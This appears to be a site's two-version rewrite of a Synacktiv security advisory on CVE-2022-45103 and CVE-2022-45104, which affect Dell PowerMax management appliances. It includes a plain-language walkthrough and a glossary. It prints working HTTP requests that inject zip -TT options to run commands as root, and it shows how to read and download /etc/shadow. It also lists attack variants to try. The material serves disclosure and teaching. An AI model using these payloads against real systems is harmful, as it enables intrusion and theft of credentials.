Multiple vulnerabilities in Dell Unisphere for PowerMax vApp, VASA Provider vApp and Solutions Enabler vApp CVE-2022-45103 / CVE-2022-45104
Two vulnerabilities in the vApp Manager's Download Logs feature: a parameter injection that allows a low-privileged authenticated attacker to execute arbitrary commands as root, and an improper input validation that allows reading arbitrary files. An attacker could achieve remote code execution and read sensitive files like /etc/shadow.
Published on synacktiv.com
Multiple vulnerabilities in Dell Unisphere for PowerMax vApp, VASA Provider vApp and Solutions Enabler vApp
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Dell ships three related virtual appliances for managing PowerMax storage environments: Unisphere for PowerMax vApp, Solutions Enabler vApp and VASA Provider vApp. All three are VMware ESX virtual machines that expose the storsrvd daemon and Solutions Enabler network client access, and the VASA Provider additionally orchestrates the life cycle of VVols and their derivatives (snapshots, clones, fast-clones) and feeds storage topology, capabilities and status information to vCenter and the ESXi hosts.
Each appliance bundles a browser-based GUI console called vApp Manager. For the VASA Provider it is used for VASA-specific management and configuration tasks that are not handled by VMware workflows, Unisphere for PowerMax or the Solutions Enabler CLI. One of the features of that console is Download Logs: an authenticated user asks the appliance to package a set of files into a ZIP archive, which is then offered for download.
Synacktiv found two vulnerabilities in that Download Logs feature, present in all three appliances:
- a parameter injection allowing a low privileged remote attacker to obtain remote code execution on the underlying system;
- an improper input validation allowing a low privileged remote attacker to read arbitrary files on the underlying system.
They are tracked as CVE-2022-45103 and CVE-2022-45104.
Setup
The requests carry a Vappmgr_authentication_token header, and the attacker is described as low privileged and remote. The examples use a host named [redacted] on port 5480.
The affected and fixed versions are:
| Product | Affected versions | Updated versions |
|---|---|---|
| Unisphere for PowerMax Virtual Appliance | < [redacted] | [redacted] EEM: [redacted] |
| Solutions Enabler Virtual Appliance | < [redacted] | [redacted] EEM: [redacted] |
| eVASA Provider Virtual Appliance | < [redacted] | [redacted] |
The timeline was:
| Date | Action |
|---|---|
| 2022-07-22 | Vulnerabilities reported to Dell |
| 2022-07-22 | Initial reply from Dell |
| 2022-08-29 | Vulnerabilities validation by the product teams |
| 2022-09-11 | CVE-2022-45103 and CVE-2022-45104 assigned by Dell |
| 2022-12-21 | Vulnerabilities fixed in the latest versions of the affected products |
| 2023-01-04 | Dell security advisory DSA-2022-340 |
| 2023-02-21 | Public release |
Finding it
The Download Logs feature lets an authenticated user generate a ZIP archive containing arbitrary files. The request that drives it is a JSON POST to /vappmgr/vApp/processTSCommand, with a VAppCommandWrapper object wrapping an ArchiveFilesCommand that names the archive and lists the files to include. The file list is not whitelisted: nothing restricts it to log paths, and the names are concatenated into the zip command line.
That is the whole of the finding surface. The application builds the archive by invoking /usr/bin/zip and concatenating the archive name and the file names into the command line. Two consequences follow directly: a file name can carry extra zip options (parameter injection), and a file name can point at any path the process can read (arbitrary file read).
Exploitation
Step 1: generate an archive from a chosen file
The following request creates the system_Jan_01_2022_00_00_00.zip archive containing the /var/log/messages file:
POST /vappmgr/vApp/processTSCommand HTTP/1.1
Host: [redacted]:5480
Vappmgr_authentication_token: 9**********************************7
Content-Type: application/json
Content-Length: 287
{
"_cn_":"com.emc.em.vappmgr.comm.VAppCommandWrapper",
"command": {
"_cn_":"com.emc.em.vappmgr.commands.downloads.ArchiveFilesCommand",
"archive":"system_Jan_01_2022_00_00_00.zip",
"files": ["/var/log/messages "]
}
}
_cn_ names the Java classes the server uses: the command wrapper and the ArchiveFilesCommand. archive is the output file name and files is the list of inputs. To produce the archive, the appliance runs a command similar to:
$ /usr/bin/zip /path/to/archive/system_Jan_01_2022_00_00_00.zip /var/log/messages
Step 2: inject options through the file name
Because the file names are concatenated into that command line, anything appended after a file name is interpreted by zip as additional parameters. The -T and -TT options are the useful ones: they make zip test the archive after compression, and -TT takes a command to run as part of that test, which gives arbitrary command execution on the underlying system.
Two constraints shape the payload. First, because of the way the call to the zip binary is implemented, the command cannot contain spaces or it will not execute successfully; spaces are replaced with the Internal Field Separator, ${IFS}. Second, zip passes a parameter to the executed command, represented by the {} sequence; to stop it interfering, the payload echoes that value and then removes it with grep -v.
The following request executes the id command and stores its output:
POST /vappmgr/vApp/processTSCommand HTTP/1.1
Host: [redacted]:5480
Vappmgr_authentication_token: 9**********************************7
Content-Type: application/json
{
"_cn_":"com.emc.em.vappmgr.comm.VAppCommandWrapper",
"command": {
"_cn_":"com.emc.em.vappmgr.commands.downloads.ArchiveFilesCommand",
"archive":"system_Jan_01_2022_00_00_00.zip",
"files": ["/var/log/messages -T -TT echo{}IGNOREME|grep${IFS}-v${IFS}IGNOREME| id>/tmp/rce-output.txt "]
}
}
Reading the payload from left to right: /var/log/messages is the legitimate file to compress; -T -TT switch zip into test mode with a command; echo{}IGNOREME prints the {} argument followed by the marker IGNOREME; grep${IFS}-v${IFS}IGNOREME drops that line; and id>/tmp/rce-output.txt runs id and writes the result to a file.
Step 3: retrieve the command output
The output file is fetched with the arbitrary file read vulnerability described in the next section. Its content shows the command ran as root on the underlying system:
$ cat rce-output.txt
uid=0(root) gid=0(root) groups=0(root)
Step 4: read arbitrary files
The same feature does not whitelist the files that may be downloaded, so any file accessible to the user can be packaged. The following request creates the system_Jan_01_2022_00_00_00.zip archive containing the /etc/shadow file:
POST /vappmgr/vApp/processTSCommand HTTP/1.1
Host: [redacted]:5480
Vappmgr_authentication_token: 9**********************************7
Content-Type: application/json
Content-Length: 287
{
"_cn_":"com.emc.em.vappmgr.comm.VAppCommandWrapper",
"command": {
"_cn_":"com.emc.em.vappmgr.commands.downloads.ArchiveFilesCommand",
"archive":"system_Jan_01_2022_00_00_00.zip",
"files": ["/etc/shadow "]
}
}
Step 5: download the archive
The generated archive is retrieved with a GET to /vappmgr/vApp/download, naming the archive in the Server_relative_path header:
GET /vappmgr/vApp/download HTTP/1.1
Host: [redacted]:5480
Vappmgr_authentication_token: 9**********************************7
Server_relative_path: system_Jan_01_2022_00_00_00.zip
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="system_Jan_01_2022_00_00_00.zip"
Content-Length: 10387
[...]
PK[...]
Step 6: extract and read the file
$ unzip system_Jan_01_2022_00_00_00.zip
Archive: system_Jan_01_2022_00_00_00.zip
inflating: etc/shadow
$ cat /etc/shadow
at:!:***::::::
bin:*:***::::::
daemon:*:***::::::
hacluster:!:***::::::
root:$6$***:***::::::
[...]
The extracted archive contains etc/shadow, whose content includes the root hash.
Root cause
The Download Logs handler builds a shell command by string concatenation: the archive name and each entry of the files list are pasted into a /usr/bin/zip invocation without quoting or validation. Because the file list is attacker-controlled and not whitelisted, an entry can carry extra zip options, and zip's -T/-TT testing options turn that into command execution. The same absence of validation is what allows arbitrary paths to be read: the feature is meant to collect log files, but nothing enforces that the requested paths are logs.
The injected command runs with the privileges of the vApp Manager service, which the id output shows to be root. The attacker is described as low privileged and remote, and the requests carry an authentication token.
Impact
A low privileged, authenticated, remote attacker can execute arbitrary commands as root on the underlying appliance and read any file the service can access, including /etc/shadow. The same two issues are present in Unisphere for PowerMax vApp, Solutions Enabler vApp and VASA Provider vApp, so the exposure covers the management plane of the PowerMax environment rather than a single product.
Fix
Dell fixed the vulnerabilities in the updated versions listed above: Unisphere for PowerMax Virtual Appliance [redacted] (EEM [redacted]), Solutions Enabler Virtual Appliance [redacted] (EEM [redacted]) and eVASA Provider Virtual Appliance 9.2.4.15. The advisory is DSA-2022-340. The report does not describe the code change itself.
Variants to test
- Other options of the archiving tool. Try options that read a list of files from disk or write output to a chosen location, appended to a file name in the same way as
-T/-TT. A positive result is a new file appearing on the appliance or a change in the archive contents that you did not request. - Other concatenated parameters. The
archivefield is concatenated too; try appending options there. A positive result is the same kind of unexpected behaviour (extra files, altered output path) in the resulting archive. - Space handling. Where spaces are filtered or break the command, substitute
${IFS}as done here. A positive result is a payload that executes despite the filter. - Path traversal in the download step. The
Server_relative_pathheader names the archive; try paths outside the expected directory. A positive result is a200 OKwith a file you did not generate through the feature. - File list whitelist bypass. Try paths such as configuration files, key material and credential stores alongside log paths. A positive result is any file outside the intended log set appearing in the archive.
- Privilege of the service account. Run
idthrough the injection on any similar appliance. A positive result is a privileged account, which raises the severity of every other finding in the same feature.
What happened, in plain words
Dell sells three pieces of software that help companies run their large storage systems (the PowerMax family). Each one is delivered as a virtual appliance: a ready-made virtual machine, a complete little computer that runs inside a bigger server, so the customer does not have to install an operating system and configure everything by hand. The three appliances are called Unisphere for PowerMax vApp, Solutions Enabler vApp and VASA Provider vApp.
Each of these appliances includes a small web console called vApp Manager. You open it in a browser, log in, and use it to do administrative chores. One of those chores is Download Logs: you tick some boxes, the appliance packs the log files into a ZIP archive, and your browser downloads it. That is convenient for support cases: you send the archive to Dell and they look at what went wrong.
A security research company, Synacktiv, looked at that Download Logs feature and found two problems, present in all three appliances:
- A parameter injection. By putting extra text into the name of a file to be packed, an attacker can make the appliance run a command of their choosing. This is called remote code execution (RCE): the attacker gets their own commands executed on the appliance, from a distance.
- An improper input validation. The feature never checks which files it is allowed to pack. So an attacker can ask for any file on the appliance, including sensitive system files, and download it.
Both problems are reachable by a low privileged, remote attacker with a login to the console. They are tracked as CVE-2022-45103 and CVE-2022-45104. A CVE is a public catalogue number given to a security flaw so that everyone can refer to the same issue.
The products involved
All three appliances are VMware ESX virtual machines. They expose a service called storsrvd and network client access for Solutions Enabler, which is how the storage management tools talk to them. The VASA Provider additionally manages the life cycle of VVols (virtual volumes) and their derivatives: snapshots, clones and fast-clones. It also feeds storage topology, capabilities and status information to vCenter and the ESXi hosts. You do not need to know these details to follow the attack; what matters is that the same web console, vApp Manager, ships inside all three.
For the VASA Provider, vApp Manager is used for VASA-specific management and configuration tasks that are not handled by VMware workflows, Unisphere for PowerMax or the Solutions Enabler command line.
Which versions were affected
| Product | Affected versions | Updated versions |
|---|---|---|
| Unisphere for PowerMax Virtual Appliance | < [redacted] | [redacted] EEM: [redacted] |
| Solutions Enabler Virtual Appliance | < [redacted] | [redacted] EEM: [redacted] |
| eVASA Provider Virtual Appliance | < [redacted] | [redacted] |
The < sign means "any version older than". So every Unisphere for PowerMax vApp below [redacted] was vulnerable, and so on. The right-hand column gives the version where the problem is fixed.
How the timeline went
| Date | Action |
|---|---|
| 2022-07-22 | Vulnerabilities reported to Dell |
| 2022-07-22 | Initial reply from Dell |
| 2022-08-29 | Vulnerabilities validation by the product teams |
| 2022-09-11 | CVE-2022-45103 and CVE-2022-45104 assigned by Dell |
| 2022-12-21 | Vulnerabilities fixed in the latest versions of the affected products |
| 2023-01-04 | Dell security advisory DSA-2022-340 |
| 2023-02-21 | Public release |
This is the normal rhythm of responsible disclosure: the researchers tell the vendor privately, the vendor confirms and fixes, then everyone publishes at the same time so that customers have had a chance to update.
What the attacker needs before starting
The requests carry an authenticated session token for the vApp Manager console. In other words, the attacker must already have a username and password for the console. They are described as low privileged, meaning an ordinary account, not an administrator, and remote, meaning they work over the network rather than sitting at the machine.
When you log in to a web application, the server gives your browser a small piece of text that proves who you are on every following request. That is often called a session cookie or token. Here it travels in a header named Vappmgr_authentication_token. A header is a line of extra information that a browser (or an attacker's tool) sends alongside a request, a bit like the label on a parcel that says who sent it and what is inside.
The examples use a host named [redacted] on port 5480. A port is a numbered door on a computer; web traffic normally goes to door 443 or 80.
Understanding the request format
The console is driven by an API: instead of clicking buttons, a program can send structured messages to the server and get structured answers back. The format used here is JSON, a way of writing data as pairs of names and values inside curly braces, similar to a very strict shopping list.
Each request is an HTTP request. HTTP is the language browsers and servers use to talk. A request starts with a method and a path: POST means "here is some data, please do something with it", and the path says which feature on the server you are addressing. Then come the headers, then a blank line, then the body (the data itself).
Step 1: ask the appliance to pack a file
The Download Logs feature lets an authenticated user generate a ZIP archive containing arbitrary files. The following request creates the system_Jan_01_2022_00_00_00.zip archive containing the /var/log/messages file:
POST /vappmgr/vApp/processTSCommand HTTP/1.1
Host: [redacted]:5480
Vappmgr_authentication_token: 9**********************************7
Content-Type: application/json
Content-Length: 287
{
"_cn_":"com.emc.em.vappmgr.comm.VAppCommandWrapper",
"command": {
"_cn_":"com.emc.em.vappmgr.commands.downloads.ArchiveFilesCommand",
"archive":"system_Jan_01_2022_00_00_00.zip",
"files": ["/var/log/messages "]
}
}
Line by line:
POST /vappmgr/vApp/processTSCommand HTTP/1.1says: send this data to theprocessTSCommandfeature of the vApp Manager, using version 1.1 of HTTP.Host: [redacted]:5480tells the server which name and port the client used to reach it. Servers often host several sites, so they need to know which one you meant.Vappmgr_authentication_token: 9**********************************7is the login token. The stars stand for the secret part, which is not published.Content-Type: application/jsonannounces that the body is JSON, so the server knows how to read it.Content-Length: 287says the body is 287 bytes long.- The blank line separates headers from body.
- In the body,
_cn_names the Java class the server should use, and a class is a named block of code. The outer class isVAppCommandWrapper, a generic envelope for commands. commandcontains the actual instruction, here anArchiveFilesCommand, which means "build an archive from files".archiveis the name of the ZIP file to produce.filesis the list of files to put inside it. Here it is/var/log/messages, the standard system log on Linux-like systems.
To generate this archive, the application uses the /usr/bin/zip binary, by concatenating the archive and files names. A binary is a ready-to-run program on the machine; zip is the classic command-line tool that creates ZIP archives. Concatenating means gluing pieces of text together end to end. So the appliance runs a command similar to:
$ /usr/bin/zip /path/to/archive/system_Jan_01_2022_00_00_00.zip /var/log/messages
In a shell (the text interface of a Linux system), the first word is the program to run and the following words are its arguments, the settings and inputs it works on. Here: run zip, put the result at that path, and include /var/log/messages.
The important observation is that the file name from the JSON is concatenated into that command line, and the files are not whitelisted. That single design choice produces both vulnerabilities.
Step 2: smuggle extra options through the file name
Because the file names are glued into the command line, anything appended after a file name is read by zip as additional parameters. This is what parameter injection means: you are not supposed to be able to add parameters, but you sneak them in through a value that is treated as data.
Everyday comparison: imagine a form that asks for your name and then prints "Hello, <name>". If you write Alice, please also open the safe, and the program blindly follows the whole sentence, you have injected an instruction through a field meant for a name.
The useful options here are -T and -TT. They make zip test the archive after compression, and -TT takes a command to run as part of that test. That is a legitimate feature for checking archives, but it means anyone who can add -TT to the command line can choose a command to execute.
Two constraints shape the payload:
- Because of the way the call to the
zipbinary is implemented, the command cannot contain spaces or it will not execute successfully. Spaces are replaced with the Internal Field Separator,${IFS}. The shell normally splits words on spaces, tabs and newlines;${IFS}is a variable that holds those characters, so writing${IFS}gives the shell a space without literally typing one. zippasses a parameter to the executed command, represented by the{}sequence. To stop it interfering, the payload echoes that value and then removes it withgrep -v.echoprints text, andgrep -vfilters lines out: it keeps everything except lines matching a pattern.
The following request executes the id command and stores its output:
POST /vappmgr/vApp/processTSCommand HTTP/1.1
Host: [redacted]:5480
Vappmgr_authentication_token: 9**********************************7
Content-Type: application/json
{
"_cn_":"com.emc.em.vappmgr.comm.VAppCommandWrapper",
"command": {
"_cn_":"com.emc.em.vappmgr.commands.downloads.ArchiveFilesCommand",
"archive":"system_Jan_01_2022_00_00_00.zip",
"files": ["/var/log/messages -T -TT echo{}IGNOREME|grep${IFS}-v${IFS}IGNOREME| id>/tmp/rce-output.txt "]
}
}
The request is the same as before except for the files entry. Reading that entry from left to right:
/var/log/messagesis the legitimate file to compress, so the request still looks like a normal log download.-T -TTswitchzipinto test mode with a command to run.echo{}IGNOREMEprints the{}argument thatzipappends, followed by the markerIGNOREME. The marker is a unique word so the next step can recognise the line.- The
|character is a pipe: it takes the output of the command on its left and feeds it as input to the command on its right. grep${IFS}-v${IFS}IGNOREMEdrops the line containing the marker, so the unwanted{}argument disappears from the output.- Another
|pipes what remains into the next command. id>/tmp/rce-output.txtrunsid, a standard command that prints which user you are and which groups you belong to, and the>redirects its output into the file/tmp/rce-output.txtinstead of the screen.
The whole chain is one long argument with no spaces, which is exactly what the constraint requires.
Step 3: fetch the result of the command
The output file is retrieved with the arbitrary file read vulnerability described in the next section. Its content shows the command ran as root on the underlying system:
$ cat rce-output.txt
uid=0(root) gid=0(root) groups=0(root)
cat prints the contents of a file. The output says the command ran as user root, the all-powerful administrator account on Linux-like systems, with group root. uid is the numeric user identifier and gid the group identifier; 0 is always root. So the attacker's command ran as root on the underlying system.
Step 4: read any file you like
The same feature does not whitelist the files that may be downloaded. A whitelist is a list of things that are allowed; without one, everything is allowed by default. So any file accessible to the user can be packaged. The following request creates the system_Jan_01_2022_00_00_00.zip archive containing the /etc/shadow file:
POST /vappmgr/vApp/processTSCommand HTTP/1.1
Host: [redacted]:5480
Vappmgr_authentication_token: 9**********************************7
Content-Type: application/json
Content-Length: 287
{
"_cn_":"com.emc.em.vappmgr.comm.VAppCommandWrapper",
"command": {
"_cn_":"com.emc.em.vappmgr.commands.downloads.ArchiveFilesCommand",
"archive":"system_Jan_01_2022_00_00_00.zip",
"files": ["/etc/shadow "]
}
}
This is the same request as in step 1, with one change: the files list now names /etc/shadow. On Linux-like systems, /etc/shadow is the file where password hashes are stored. A hash is a one-way scramble of a password: the system keeps the scrambled value, and when you log in it scrambles what you typed and compares. If an attacker gets the hashes, they can try to guess passwords offline, at their own speed, without the server noticing failed attempts. That is why this file is normally readable only by root.
Step 5: download the archive
The generated archive is retrieved with a GET to /vappmgr/vApp/download, naming the archive in the Server_relative_path header:
GET /vappmgr/vApp/download HTTP/1.1
Host: [redacted]:5480
Vappmgr_authentication_token: 9**********************************7
Server_relative_path: system_Jan_01_2022_00_00_00.zip
HTTP/1.1 200 OK
Content-Disposition: attachment; filename="system_Jan_01_2022_00_00_00.zip"
Content-Length: 10387
[...]
PK[...]
Line by line:
GET /vappmgr/vApp/download HTTP/1.1asks the server to send back the download feature's output.GETmeans "give me something".HostandVappmgr_authentication_tokenare the same as before.Server_relative_path: system_Jan_01_2022_00_00_00.ziptells the server which archive you want. The name is a relative path: a location expressed relative to a starting folder rather than from the very root of the disk.- The blank line ends the request.
HTTP/1.1 200 OKis the server's answer:200is the standard code for "here you go, everything worked".Content-Disposition: attachment; filename="..."tells the browser this is a file to save, and suggests a name for it.Content-Length: 10387says the file is 10,387 bytes.PK[...]is the beginning of the ZIP file's content. Every ZIP archive starts with the lettersPK, the initials of Phil Katz, the format's creator, so seeingPKconfirms you received an archive.
Step 6: extract and read the file
$ unzip system_Jan_01_2022_00_00_00.zip
Archive: system_Jan_01_2022_00_00_00.zip
inflating: etc/shadow
$ cat /etc/shadow
at:!:***::::::
bin:*:***::::::
daemon:*:***::::::
hacluster:!:***::::::
root:$6$***:***::::::
[...]
unzip opens the archive and writes its contents to disk; inflating is the tool's word for decompressing an entry. Notice that the archive preserves the path of the collected file, etc/shadow, so the file lands in a folder called etc rather than at the top level. Then cat prints it. Each line is one account: the name before the first colon, then fields separated by colons. The ! and * marks mean the account cannot log in with a password, while root:$6$***:***:::::: is the root account with a real password hash. The stars replace the actual hash in this write-up.
Why it works
The Download Logs handler builds a shell command by string concatenation: the archive name and each entry of the files list are pasted into a /usr/bin/zip invocation without quoting or validation. Quoting means wrapping a value so the shell treats it as plain text rather than as instructions; validation means checking that a value looks like what it is supposed to be. Neither happens here.
Because the file list is attacker-controlled and not whitelisted, an entry can carry extra zip options, and zip's -T/-TT testing options turn that into command execution. The same absence of validation is what allows arbitrary paths to be read: the feature is meant to collect log files, but nothing enforces that the requested paths are logs.
The injected command runs with the privileges of the vApp Manager service, which the id output shows to be root. The attacker is described as low privileged and remote, and the requests carry an authentication token.
What an attacker could do with this
A low privileged, authenticated, remote attacker can execute arbitrary commands as root on the underlying appliance and read any file the service can access, including /etc/shadow. The same two issues are present in Unisphere for PowerMax vApp, Solutions Enabler vApp and VASA Provider vApp, so the exposure covers the management plane of the PowerMax environment rather than a single product. In plain terms: the console that is supposed to help you manage storage can be turned into a way to take over the machine that manages it.
How it was fixed
Dell fixed the vulnerabilities in the updated versions listed above: Unisphere for PowerMax Virtual Appliance [redacted] (EEM [redacted]), Solutions Enabler Virtual Appliance [redacted] (EEM [redacted]) and eVASA Provider Virtual Appliance 9.2.4.15. The advisory is DSA-2022-340. The report does not describe the code change itself.
Related things worth testing
If you are auditing a similar appliance, these are variations worth trying:
- Other options of the archiving tool. Try options that read a list of files from disk or write output to a chosen location, appended to a file name in the same way as
-T/-TT. A positive result is a new file appearing on the appliance or a change in the archive contents that you did not request. - Other concatenated parameters. The
archivefield is concatenated too; try appending options there. A positive result is the same kind of unexpected behaviour (extra files, altered output path) in the resulting archive. - Space handling. Where spaces are filtered or break the command, substitute
${IFS}as done here. A positive result is a payload that executes despite the filter. - Path traversal in the download step. The
Server_relative_pathheader names the archive; try paths outside the expected directory. A positive result is a200 OKwith a file you did not generate through the feature. - File list whitelist bypass. Try paths such as configuration files, key material and credential stores alongside log paths. A positive result is any file outside the intended log set appearing in the archive.
- Privilege of the service account. Run
idthrough the injection on any similar appliance. A positive result is a privileged account, which raises the severity of every other finding in the same feature.
Glossary
- API: a defined way for one program to ask another program to do something, usually by sending structured messages over the network.
- Argument: a word or value given to a program on the command line to tell it what to work on or how to behave.
- Binary: a ready-to-run program file on a computer, as opposed to source code.
- Class: a named block of code in an object-oriented language such as Java, grouping data and behaviour.
- Concatenation: gluing pieces of text together end to end.
- Content-Type: an HTTP header that says what format the body of a request or response is in, such as JSON.
- CVE: a public catalogue number assigned to a specific security vulnerability so everyone can refer to it unambiguously.
- Download Logs: the vApp Manager feature that packs selected files into a ZIP archive for download.
- Echo: a command that prints its arguments as text.
- GET: an HTTP method meaning "send me something".
- Grep: a command-line tool that searches text and prints matching lines;
grep -vprints the lines that do not match. - Hash: a one-way scramble of a value such as a password, used to store it without keeping the original.
- Header: a line of extra information sent with an HTTP request or response, such as the host name or an authentication token.
- HTTP: the language browsers and web servers use to exchange requests and responses.
- Improper input validation: a flaw where a program accepts data without checking that it is of the expected form or within allowed limits.
- Internal Field Separator (
${IFS}): a shell variable holding the characters the shell uses to split words, normally space, tab and newline; writing${IFS}produces a space without typing one. - JSON: a text format for structured data, made of names and values inside braces and brackets.
- Low privileged: an account with ordinary rights, not administrator rights.
- Parameter injection: sneaking extra parameters or instructions into a value that a program treats as plain data.
- Pipe (
|): a shell operator that feeds the output of one command into the input of the next. - Port: a numbered door on a computer through which a particular network service is reached.
- POST: an HTTP method meaning "here is some data, act on it".
- Privilege: the level of permission an account or process has; root is the highest on Linux-like systems.
- Quoting: wrapping a value so the shell treats it as literal text instead of interpreting it as instructions.
- Redirect (
>): a shell operator that sends a command's output into a file instead of the screen. - Relative path: a file location expressed relative to a starting folder rather than from the root of the disk.
- Remote code execution (RCE): a flaw that lets an attacker make a system run commands of their choosing over the network.
- Root: the all-powerful administrator account on Linux-like systems, with user identifier 0.
- Session token: a value issued at login that proves on later requests who you are.
- Shell: the text interface of a Linux-like system where you type commands.
- Snapshot / clone / fast-clone: copies of a virtual volume taken at a point in time, used for backup or testing.
storsrvd: a service daemon exposed by the appliances for storage management.- vApp Manager: the browser-based management console bundled inside the appliances.
- vCenter / ESXi: VMware's central management server and the hypervisor that runs virtual machines.
- Virtual appliance: a preconfigured virtual machine shipped as a complete package, ready to run.
- VVols: VMware virtual volumes, storage objects managed directly by the virtualisation layer.
- Whitelist: an explicit list of things that are allowed; anything not on it is refused.
- ZIP: a common file format that packs one or more files, compressed, into a single archive.